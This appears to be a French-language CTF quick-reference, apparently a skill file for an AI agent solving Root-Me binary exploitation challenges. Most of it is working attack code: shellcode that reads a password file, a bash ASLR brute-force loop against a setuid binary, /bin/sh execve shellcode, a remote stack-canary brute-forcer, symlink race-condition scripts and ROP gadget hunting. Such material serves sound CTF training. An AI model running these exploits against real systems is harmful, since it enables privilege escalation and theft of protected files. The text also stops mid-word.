0x6a, 0x01, 0x5b, # push 1; pop ebx (stdout)
0x6a, 0x04, 0x58, # push 4; pop eax (sys_write=4)
0xcd, 0x80, # int 0x80
# Part 2 : ouvrir le fichier (chemin empilé en reverse dwords)
# [push du chemin complet en dwords little-endian, reversed]
# ex: "/challenge/app-systeme/ch21/.passwd\0" en 9 dwords
0x89, 0xe3, # mov ebx, esp (ptr vers le chemin)
0x31, 0xc9, # xor ecx, ecx (O_RDONLY=0)
0x31, 0xd2, # xor edx, edx
0x6a, 0x05, 0x58, 0xcd, 0x80, # push 5; pop eax; int 0x80 -> sys_open
# Part 3 : lire
0x89, 0xc3, # mov ebx, eax (fd)
0x83, 0xec, 0x40, # sub esp, 64
0x89, 0xe1, # mov ecx, esp
0x6a, 0x40, 0x5a, # push 64; pop edx
0x6a, 0x03, 0x58, 0xcd, 0x80, # sys_read
# Part 4 : écrire sur stdout
0x89, 0xc2, # mov edx, eax (bytes_read)
0x89, 0xe1, # mov ecx, esp
0x6a, 0x01, 0x5b, # push 1; pop ebx (stdout)
0x6a, 0x04, 0x58, 0xcd, 0x80, # sys_write
# Part 5 : exit
0x31, 0xdb, # xor ebx, ebx
0x6a, 0x01, 0x58, 0xcd, 0x80, # sys_exit(0)
])
Stratégie de scan avec shellcode combiné (depuis bash) :
#!/bin/bash
B='/path/to/setuid/binary'
N=-1869574000 # 0x90909090 NOP
# Générer le fichier exploit (base fixe) avec awk
awk -v n="$N" -v sc="$COMBINED_CHUNKS" 'BEGIN{
for(i=1;i<996;i++){print n; print i}
nsc=split(sc,a," ")
for(j=1;j<=nsc;j++){if(a[j]+0!=0){print a[j]; print 995+j}}
}' > /tmp/base.txt
# Boucle de brute-force ASLR : ~400 essais en moyenne (sled 4KB, range ~1,6MB)
addr=4294963200 # 0xFFFFF000
cnt=0
while [ $cnt -lt 5000 ]; do
if [ $addr -gt 2147483647 ]; then rd=$((addr-4294967296)); else rd=$addr; fi
{ cat /tmp/base.txt; printf '%d\n-15\n' $rd; } > /tmp/ew.txt
timeout 2 setarch i386 -R "$B" /tmp/ew.txt > /tmp/out.bin 2>/dev/null
cnt=$((cnt+1))
sz=$(wc -c < /tmp/out.bin 2>/dev/null | tr -d ' ')
sz=${sz:-0}
if [ "$sz" -gt 4 ]; then # >4 octets = ESP (4B) + flag
dd if=/tmp/out.bin bs=1 skip=4 2>/dev/null; echo; break
elif [ "$sz" -eq 4 ]; then # =4 octets = exécution OK mais fichier inaccessible
echo "[EXEC mais pas de flag - problème setuid ?]"
fi
addr=$((addr - 3840))
[ $addr -lt 4278190080 ] && addr=4294963200 # wrap around
done
Diagnostic de l'exécution du shellcode :
# Shellcode "write-ESP" : confirme que le shellcode tourne ET donne l'adresse
# push esp; mov ecx,esp; push4; pop edx; push1; pop ebx; push4; pop eax; int80; push1; pop eax; xor ebx,ebx; int80
ESP_SC_BYTES = bytes([
0x54, 0x89, 0xe1, 0x6a, 0x04, 0x5a,
0x6a, 0x01, 0x5b, 0x6a, 0x04, 0x58,
0xcd, 0x80,
0x31, 0xdb, 0x6a, 0x01, 0x58, 0xcd, 0x80,
])
# Si sortie = 4 octets → ESP = struct.unpack('<I', out[:4])[0]
# buf_addr = ESP + 0x38 (vérifier avec Ghidra/r2)
# Interprétation des résultats :
# sz=0 → redirect rate la NOP sled (SIGSEGV) → continuer le scan
# sz=4 → shellcode tourne MAIS sys_open échoue (EACCES ? setuid KO ?)
# sz>4 → shellcode tourne ET flag lu avec succès
Contrainte "pas de dword nul" dans les primitives d'écriture arbitraire :
# Certains binaires skippent les paires (VALUE, INDEX) si VALUE == 0.
# S'assurer que TOUS les chunks du shellcode sont non-nuls :
import struct
chunks = [struct.unpack('<i', sc[i:i+4])[0] for i in range(0, len(sc), 4)]
zeros = [(i, v) for i, v in enumerate(chunks) if v == 0]
# Si zeros non-vide → réécrire les instructions concernées :
# push 0; pop ebx → xor ebx, ebx (évite le chunk 0x5b006a00)
# push 0x00... → xor eax,eax; push eax (si nécessaire)
Serveur forking : canary brute-force byte par byte
canary = b'\x00' # Toujours commence par \x00
for byte_idx in range(1, 4): # 3 octets restants (32-bit canary = 4 bytes)
for byte_val in range(256):
io = remote(HOST, PORT)
payload = b'A' * offset + canary + bytes([byte_val])
io.sendline(payload)
response = io.recv(timeout=0.5)
if b'*** stack smashing' not in response:
canary += bytes([byte_val])
break
io.close()
Race condition (Root-Me classique)
# Pattern typique : programme vérifie un fichier, puis l'ouvre → TOCTOU
# Exploit : créer/supprimer le fichier en boucle pendant que le prog accède
# Script bash race
while true; do
ln -sf /challenge/.passwd /tmp/target &
rm /tmp/target &
done &
# Lancer le programme en parallèle
# Python race avec threads
import threading, os, time
def swap():
while True:
os.symlink('/challenge/.passwd', '/tmp/file')
os.remove('/tmp/file')
t = threading.Thread(target=swap, daemon=True)
t.start()
# Lancer le binaire en boucle
Syscalls 32-bit (int 0x80)
# Quand seccomp bloque les syscalls 64-bit
# int 0x80 utilise des numéros différents !
# x86 32-bit syscall table
SYSCALL_READ = 3
SYSCALL_WRITE = 4
SYSCALL_OPEN = 5
SYSCALL_EXECVE = 11
shellcode_32 = asm('''
xor eax, eax
push eax
push 0x68732f2f ; //sh
push 0x6e69622f ; /bin
mov ebx, esp
xor ecx, ecx
xor edx, edx
mov eax, 11 ; execve
int 0x80
''', arch='i386')
Gadgets ROPgadget 32-bit
# Lister les gadgets utiles
ROPgadget --binary ./challenge --rop | grep "pop ebx"
ROPgadget --binary ./challenge --rop | grep "int 0x80"
ROPgadget --binary ./challenge --rop | grep "call system"
# Gadgets classiques en 32-bit
# pop ebx; ret → contrôler 1er arg
# pop ecx; pop ebx; ret → 2ème et 1er arg
# int 0x80; ret → syscall
# leave; ret → stack pivot
Protections Root-Me x86 typiques
# Challenges basiques (pas de protection)
checksec --file=challenge
# Arch: i386-32-little | RELRO: No RELRO | Stack: No canary | NX: NX disabled | PIE: No PIE
# Challenges intermédiaires
# RELRO: Partial RELRO | Stack: No canary | NX: NX enabled | PIE: No PIE
# Challenges avancés
# RELRO: Full RELRO | Stack: Canary found | NX: NX enabled | PIE: PIE enabled
ctf-app-system — Quick Reference
Inline code / one-liners / common payloads. Loaded on demand from SKILL.md. Detailed techniques live in the category-specific support files listed in SKILL.md.
Reconnaissance initiale
# 1. Connexion SSH Root-Me
ssh -p 2222 <user>@<challenge>.root-me.org
# 2. Sur le serveur : identifier l'environnement
uname -a # kernel version
ldd --version # libc version
ls -la /challenge/ 2>/dev/null || ls ~
file ./challenge # architecture + linking
checksec --file=./challenge # protections
# 3. Récupérer le binaire en local
scp -P 2222 user@host:~/challenge ./
# Ou depuis l'interface Root-Me (téléchargement direct)
Stratégie selon les protections
| PIE | RELRO | Canary | NX | Stratégie |
|---|---|---|---|---|
| Non | Partial | Non | Non | Shellcode ou ret2win direct (adresses fixes) |
| Non | Partial | Non | Oui | GOT overwrite via fmt string ou ret2libc |
| Non | Full | Oui | Oui | Leak canary via fmt string → ROP ret2libc |
| Oui | Full | Oui | Oui | Leak PIE+libc via fmt string → ROP |
| Oui | Full | Oui | Oui | Heap UAF → leak → tcache poison |
Déterminer le type de vuln
# Analyser statiquement
objdump -d ./challenge | grep -A5 "gets\|scanf\|strcpy\|printf\|fgets"
strings ./challenge | grep -E "Enter|Input|Name|Message"
# Comportement à chaud (local)
python3 -c "print('A'*200)" | ./challenge # crash = overflow
python3 -c "print('%p.'*30)" | ./challenge # leak = format string
# Ghidra / radare2 pour la décompilation
r2 -A ./challenge
pdf @ main
Workflow de résolution Root-Me
- Analyse statique locale —
checksec,file, Ghidra/r2,strings - Identifier la vuln — overflow, format string, UAF, race
- Fingerprint libc remote —
ldd,strings /lib/x86_64-linux-gnu/libc.so.6 | grep GLIBC, oulibc-database - Patcher le binaire local —
patchelfpour matcher la libc du serveur - Développer l'exploit localement — avec
process()pwntools - Switcher sur
remote()— ou transférer via SSH + exécuter - **Récupérer le f
…(truncated)